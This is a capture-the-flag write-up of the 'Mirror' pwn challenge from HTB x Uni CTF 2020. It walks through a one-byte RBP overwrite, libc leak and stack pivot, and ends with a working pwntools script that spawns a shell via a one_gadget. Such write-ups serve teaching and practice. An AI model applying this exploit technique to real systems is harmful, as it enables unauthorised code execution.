.. visibility



                                                                              
                                                                              
                        MMMMMMMMMMMMMMM:                    :MMMMMMMMMMMMMM   
                    MMMMMMMMMMMMMMMMMMMMMMMM             MMMMMMMMMMMMMMMMMM   
                7MMMMMMMMMMMMMMMMMMMMMMMMMMMMMM        MMMMMMMMMMMMMMMMMMMM   
              MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM   MMMMMMMMMMMMMMMMMMMMMM   
            MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM$MMMMMMMM                  
          MMMMMMMMMM  ~MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM                    
         MMMMMMMM=      MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM                      
       MMMMMMMM:         MMMMMMMMMMMMMMMMMMMMMMMMMMMMMM                       
      MMMMMMMM            MMMMMMMMMMMMMMMMMMMMMMMMMMMM                        
     MMMMMMM               MMMMMMMMMMMMMMMMMMMMMMMMMMM                        
    MMMMMMM                MMMMMMMMMMMMMMMMMMMMMMMMMMM                        
   MMMMMMM                 MMMMMMMMMMMMMMMMMMMMMMMMMMM                        
   MMMMMM                  NMMMMMMMMMMMMMMMMMMMMMMMMM                         
  MMMMMM     MMMMMM         MMMMMMMMMMMMMMMMMMMMMMMMM         MMMMM8          
  MMMMMM    MMMMMMMM         MMMMMMMMMMMMMMMMMMMMMMM         MMMMMMMM         
 MMMMMM     MMMMMMMM         =MMMMMMMMMMMMMMMMMMMMM         MMMMMMMMM         
 MMMMMM     MMMMMMMM          MMMMMMMMMMMMMMMMMMMMM          MMMMMMMM         
 MMMMM       MMMMMM            MMMMMMMMMMMMMMMMMMM           .MMMMMM          
MMMMMM                         IMMMMMMMMMMMMMMMMM                             
MMMMMM                          MMMMMMMMMMMMMMMMD                             
MMMMMM                           MMMMMMMMMMMMMMM                              
MMMMMM                            MMMMMMMMMMMMM                               
=MMMMM                            MMMMMMMMMMMMM                               
 MMMMMM                          +MMMMMMMMMMMMM                               
 MMMMMM                    MMMMMMMMMMMMMMMMMMMMMMMMMMM                        
 $MMMMM.                  MMMMMMMMMMMMMMMMMMMMMMMMMMMMM                       
  MMMMMM                  MMMMMMMMMMMMMMMMMMMMMMMMMMMMM                       
  $MMMMMM                 MMMMMMMMMMMMMMMMMMMMMMMMMMMMM                       
   MMMMMMM        MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM               
    MMMMMMM      MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM               
     MMMMMMM      MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM               
      MMMMMMM             MMMMMMMMMMMMMMMMMMMMMMMMMMMMM                       
       MMMMMMMM           MMMMMMMMMMMMMMMMMMMMMMMMMMMMM                       
        MMMMMMMMM         MMMMMMMMMMMMMMMMMMMMMMMMMMMMM                       
         .MMMMMMMMM       MMMMMMMMMMMMMMMMMMMMMMMMMMMMM                       
           MMMMMMMMMMM   MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM                      
             MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM                    
               IMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM   MMMMMMMMMMMMMMMMMMMMMMMM   
                  OMMMMMMMMMMMMMMMMMMMMMMMMMM        MMMMMMMMMMMMMMMMMMMMMM   
                      7MMMMMMMMMMMMMMMMMM              MMMMMMMMMMMMMMMMMMMM   
                                                                      

First look

Mirror was a pwn challenge rated with 425 in the HTB x Uni CTF 2020 - Quals. Let’s run it first

Mirror-execute

So the binary asks if we want to talk to the mirror, then shows us 2 addreses (?) and finally we can enter some data.

Not much (as always)

Let’s start Cutter and begin looking for some information about what’s going on.

Mirror-execute

We have the NX bit active and the PIC so the addresses are going to be random each time and the execute and storage areas are going to be separated

Let’s see what the code can tell us!

Let the inspection begin

Main

First stop: main function. When we disassemble this function we can see the instructions that the program displayed and the read from the beginning.

Mirror-execute

It’s kinda weird that the read allows 0x1f bytes, that’s a lot for a single char (maybe we can do something here?)

Let’s move on.

After that, it checks the fist byte from the read, that’s the first letter, and compares it with 0x79 (y) or 0x59 (Y). If it isn’t neither of them, it calls exit.

Mirror-execute

First thing we know: we always have to put a y or Y as the first letter on that input.

After that, it gives the input back to us. Looking at the print functions (we know this because we executed it before and saw the Your answer was string) it doesn’t look like it’s performing a safe print of our string. This looks like a format string vulnerability. We will check that later.

Finally, it calls the reveal function. Next stop: reveal

Reveal

The reveal function looks like this:

Mirror-execute

Now we know that those addresses were. We can see the buf address is put inside the RAX and later into the RSI register so the first address is the address of our input buffer. The second address goes to the rdx register from the printf function.

Then, we can put some data into the stack. 0x21 bytes exactly. But we can see that the stack in this function has a size of 0x20 (check the sub operation at the beginning of the function). So we can override one byte of the address that the RBP, i.e. the base pointer of the stack, is going to take after we left the function.

What now?

After looking at the binary we know:

My main approach at this point is to use ROP to generate a shell. This is because the program is giving us the address of the printf and we know the address where our data is going to be.

What about the format string?

Even though I didn’t need it for my exploit there was a format string vulnerability in the code.

Mirror-execute

We could probably find a way to exploit this vulnerability but it wasn’t necessary for the exploit we want to perform.

The exploit

This is the idea: we are going to use ROP when the main function returns and use glibc to get a shell.

The target here is to put the RSP address on our input so when it returns we can jump wherever we want, you know, ROP.

The trick here is that one byte we can override on the reveal call.

Let’s break it down. This is how the stack looks on the reveal function: Mirror-execute

And we know the address of our input, which is right above the RBP return address. Remember we can override one byte of that address so we can point it back to our leaked address.

Remeber that address are read backwards

Mirror-execute

There are going to be times when this doesn’t work. When the 2nd byte changes, this won’t work because we cannot reach the desired address

But, I said we wanted the RSP to be on that address. And we have the RBP, not the RSP. Well, remember that when leave executes, the RSP takes the previous RBP address + 8.

So, when we leave on the main function, our RSP will be on the address of our leaked input + 8.

You can modify the byte to be the byte it should be - 8 so the final RSP value is on the beginning of the leaked address but it’s easy to explain it this way

Nice, we redirected the execution!

Pwn it

So, we know we have to send 0x20 bytes (which will be our ROP) and finally the last byte from the leaked address.

Let’s build the ROP payload.

ROP

First things first, we must know the glibc version. We are going to use the libc database to make our job easier.

When we put the printf address on the page, we get a bunch of hits but only one is for x64. Ubuntu GLIBC 2.27-3ubuntu1.3.

I usually use the amazing tool called one_gadget which provides a simple and easy way to exploit a ROP vulnerability.

When we execute it against the libc.so.6 file we get the following results:

Mirror-execute

Let’s write those address down so we can check if something works for us.

Final exploit

First, we are going to use python3 and pwntools to easily send everything we need.

from pwn import *
import os

p = process('./mirror')
#p = remote('_________', ____)
libc = ELF('./libc.so.6')
binary = ELF('./mirror')

Let’s answer the first question

print(p.recvuntil('>'))
p.sendline('y')
print(p.recvuntil('"'))

Now, receive the addresses:

data = p.recvuntil('"').decode()
base_address = data[36:-1].split(' ')[0][1:-1]
libc_leak = int(data[36:-1].split(' ')[1][1:-1], base=16)

We can calculate the base libc address with:

libc_base = libc_leak - libc.symbols["printf"]

Now, we now what byte we have to modify on that RBP address:

to_change = int("0x" + base_address[-2:], base=16)
to_change =  bytes(chr(to_change), encoding="UTF-8")

Everything is ready. Let’s send the base address we got so the RBP gets a real address when execute leave on the main function, our one_gadget first address with the libc base added and 16 Bs to fill the 0x20 bytes plus our final byte to change.

one_gadget_1 = 0x4f3d5
p.send(p64(int(base_address, base=16)) + p64(libc_base + one_gadget_1) + bytes('B' * 16, encoding="UTF-8") + to_change)
p.interactive()

We send it and…. pwned!

Mirror-execute

I didn’t screenshot the remote shell so this is running locally :S


That’s all!

See you on the debugger!

Mirror-execute